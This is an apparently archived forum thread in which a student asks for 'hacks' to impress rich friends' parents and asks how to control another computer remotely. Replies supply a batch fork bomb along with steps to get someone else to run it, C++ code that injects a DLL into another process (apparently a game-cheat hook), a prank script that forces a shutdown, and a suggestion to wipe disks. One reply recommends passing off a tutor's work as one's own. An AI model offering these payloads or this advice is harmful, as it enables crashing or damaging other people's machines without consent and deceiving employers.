Whenever I tell anybody under the age of 20 that I am a programmer, they always ask the same question sooner or later: "Can you hack my computer." I tell them that even if I could I wouldn't. They follow up by telling me to just make a pop-up or something. When I tell them that I can't because I don't know how they tend to think that I am a bad programmer. I don't care too much about that, but now I am getting ready to get a job (going into co-op at waterloo) and since I went to a private school that was more expensive than university, a lot of my friends' parents may very well become my future bosses (I am not kidding, if you need proof I can give it). Basically I want to be able to prove my 'programming prowess' by at least maybe launching a pop-up window, or running a dll command (like shutdown with a long time delay, followed by a deactivation [something I know how to write in batch]) When I started doing research into it I found that most people only offer 'hacking tools', preprogrammed software that merely gives you control over other's computers and then you can play with their mind. This is not what I want. I want to be able to do what I think best suits my needs (usually that would be a pop-up window with a clever message). I want to be able to program a hack from scratch. This is really not my expertise, and I do not intend to do anything malicious with any information given to me, I just want to be able to prove that I at least know how hacking is done. Thank you.

Are you sure you're not a bad programmer? Because your logic is atrocious. ;)

Are you sure you're not a bad programmer? Because your logic is atrocious. ;)


@OP. I started out with Backtrack but you said you want something from scratch. Does it have to be complicated like PE-Editing notepad/calculator to load a messagebox? Injection?

Neat ForkBomb:

I also live in Canada (Toronto) so I know what you mean.. As soon as you say programmer you get piled with hacking crap questions.

When they ask me to do a neat hacking trick.. I don't do anything cool I just crash their comp with a forkbomb(Batch file):

  1. Open Notepad..
  2. Type: %0|%0
  3. Save as ForkBomb.bat to the desktop.
  4. Get them to double click it.
  5. Watch it crash or lag really really really bad.. Taskmanager will not stop it so you need to restart with a hard poweroff/reset.

Alternative forkbomb Same instructions just type this instead:

@echo off
start ForkBomb.bat

Sorry if it isn't cool enough lol. I can prob post more I guess, if you don't like those.

Injection (Compiler needed):

#include <Windows.h>
#include <TlHelp32.h>
#include <iostream>

using namespace std;

HANDLE hThread;
void* pLibRemote;
DWORD hLibModule;
HMODULE hKernel32;
HANDLE hProcess;

PROCESSENTRY32 GetProcessInfo(char* ProcessName)
    HANDLE hSnap = NULL;
    PROCESSENTRY32 Proc32 = {0};

    if((hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0)) == INVALID_HANDLE_VALUE)
        return Proc32;

    Proc32.dwSize = sizeof(PROCESSENTRY32);
    while(Process32Next(hSnap, &Proc32))
        if(!strcmp(ProcessName, Proc32.szExeFile))
            return Proc32;
    return Proc32;

void Inject()
    char szLibPath[MAX_PATH];
    memset(szLibPath, 0, MAX_PATH);
    hKernel32 = ::GetModuleHandle("Kernel32");

    PROCESSENTRY32 RSDLL = GetProcessInfo("hl.exe");
    hProcess = OpenProcess(PROCESS_ALL_ACCESS, false, RSDLL.th32ProcessID);
    strcat(szLibPath, "C:/Users/Brandon/Desktop/GLHook.dll");

    pLibRemote = ::VirtualAllocEx(hProcess, NULL, sizeof(szLibPath), MEM_COMMIT, PAGE_READWRITE);
    ::WriteProcessMemory(hProcess, pLibRemote, (void*)szLibPath, sizeof(szLibPath), NULL);

    hThread = ::CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE) ::GetProcAddress(hKernel32, "LoadLibraryA"), pLibRemote, 0, NULL);
    ::WaitForSingleObject(hThread, INFINITE);
    ::GetExitCodeThread(hThread, &hLibModule);
    ::VirtualFreeEx(hProcess, pLibRemote, sizeof(szLibPath), MEM_RELEASE);

void Terminate()
    hThread = ::CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE) ::GetProcAddress(hKernel32, "FreeLibrary"), (void*)hLibModule, 0, NULL);
    ::WaitForSingleObject(hThread, INFINITE);

int main()

    return 0;

You are only fooling others (and yourself) if you think that being handed a clever trick constitutes you 'knowing how to hack.' If you want to impress someone or show your prowess do the work. Investigate a particular feature or piece software and learn how to touch it's edge cases.

There is no substitute for hard work and understanding. Think of it this way:
Suppose you get your foot in the door at one of these companies through one of these tricks that you dont fully understand but can fake your way through. You will be hired on with the assumption that you understand those concepts at a basic level and will be expected to build from there. Where will that leave you? How will you continue to impress them?

This is really not my expertise

Then don't try to fake it. Wow them with what you know - not what you think they want you to know.

I don't think he's talking about reverse engineering jobs or actual hacking jobs. They (his friends) just ask him to show them a neat trick.. When you start coding they don't care, they don't wanna see that. I know what he means. They just want a one time alakazam trick.

It'd be stupid of anyone to hire someone just for showing them a batch file trick -__- By the looks of it, he stated he doesn't know how already but they completely ignore that. An employer would not ignore that for sure. So I assume he's speaking about his friends.

Most job interviews will put you at a computer with a task and ask you to code it. I doubt the guys asking him are going to ask him to crack something or hack into a computer.. If so then he's in deep and you guys are correct in that he should learn it. But like I said.. I doubt that's the case.

I don't know how old you are man, Or how long you been looking for a job or what job's you are going for. But Never once in any of the interviews I have been on (if it be mine or a friend of mine) have any employer asked "So can you hack this system for me?" Unless your going for a job specificly in reverse engineering or security analytics I wouldnt worry about it. But honestly sounds like you just want some code to wow people without any effort. (Plus if you take it from us its pretty much the same as using those GUI enviorments :-P)

First you want to look at batch programming, at least I think that's a good starting point to showoff to your friends. Second, grow some balls. Who cares what they think? Why do you need to impress them. They are not programmers and probably never will be. They do not have any knowledge in our field. They just go by whatever is shown in the movies. Third, get a internship, get a job, contribute to open source, create an open source project, make your own programming projects. Do stuff that you can put on your resume. That's how you will impress recruiters.

I like what triumphost said. Basically he understands that the only way to 'wow' my friends is to do something neat that they would consider a hack (IE: the %0|%0 trick). Normally I wouldn't care what they think, in fact I still don't. But they tell their parents about me a lot. Some of their parents include the finance minister of canada, the owner of molson canadian breweries, the owner of some large software firm (don't know what its called). When these kids go home to these important people and say that I can't program well (because the only thing they consider to be good programming is remotely hacking onto somebody's computer and doing something to it) it reflects poorly on me. I don't care what my friends think, but what their parents think is often important to me. Most things I know how to do are in batch EG:

The trekky prank. Create a file in the system (system32 or sysWow64) and name it self.bat then fill it with this code:

@echo off
IF NOT "%1"=="sequence" GOTO QUIT
IF NOT "%2"=="1" GOTO QUIT
IF NOT "%3"=="code" GOTO QUIT
IF NOT "%4"=="1-1-A" GOTO QUIT
FOR %%I IN (55 50 45 40 35 30 25 20 15 10) DO CALL wait.bat 10000 ECHO. ECHO ONLY %%I SECONDS REMAINING...
FOR %%I IN (9 8 7 6 5 4 3 2 1) DO wait 1 ECHO. ECHO %%I SECONDS REMAINING!
shutdown /s /t:120

The only requirements are a wait.bat that causes a 1 second wait and you should know that shutdown /a cancels the shutdown.

The scary anti-viral software act up (if they have a very 'in-your-face' antiviral program just type this into any file and run it:


Basically I know my batch well enough to make fun little 'hacks' but I would like to know how to access another computer remotely, even if only to run a batch file/command. I tagged this as c++ because when I asked google about it it suggested many languages specifically written to hack, but I don't like them because they don't look like hacking, they look like a clever app that I am playing with. Anyways, does anybody know how to do this?

I don't care what my friends think, but what their parents think is often important to me.

Odd society you live in. :-P

I don't think you can RDP with just a batch file. Only way is if you actually generate a .RDP file using a batch file then have that batch run that file which will connect you to the person's comp. That's the only way.

Otherwise if you don't mind C++.Net OR C# then: http://www.codeproject.com/Articles/43705/Remote-Desktop-using-C-NET

If you don't want to use the link above, an RDP file is just a text file with the data required to connect to a remote comp.

Just have your batch file write one.

One would be to simply call some OS functions. Not exactly as on-the-go as a batch file because of compilation, but I would consider it more powerful... I reckon something like ruining all the file names on a directory, or even wiping out a hard disk would be perfectly doable.

I was sort of disappointed in my freshman year to find out that I won't be learning those cool shit the movies show... and then I learned about pointers. so lulz

So many jobs are landed through connections. You apparently know a lot of dumb, spoiled, rich teenagers who are presumably the offspring of dumb, older, rich company owners and apparently the Finance Minister Of Canada. You wouldn't be the first person to land a job by impressing someone ignorant with something that wouldn't be impressive to someone who isn't. Do what you gotta do to get in the door, but as someone else mentioned, unless the actual job involves security, it's doubtful that the actual job interviewer, who will probably be a technical person and NOT dumb and someone who will NOT be impressed with something like a fork bomb, is going to ask about any of it. If you're rich enough to have attended a prep school that cost more than a university, presumably you can afford about a thousand bucks to hire a tutor to teach you how to do a few things, which you can pretend to have created yourself, and show your friends. If these rich company owners truly ask their kids for advice on who to hire, you're IN. Go for it!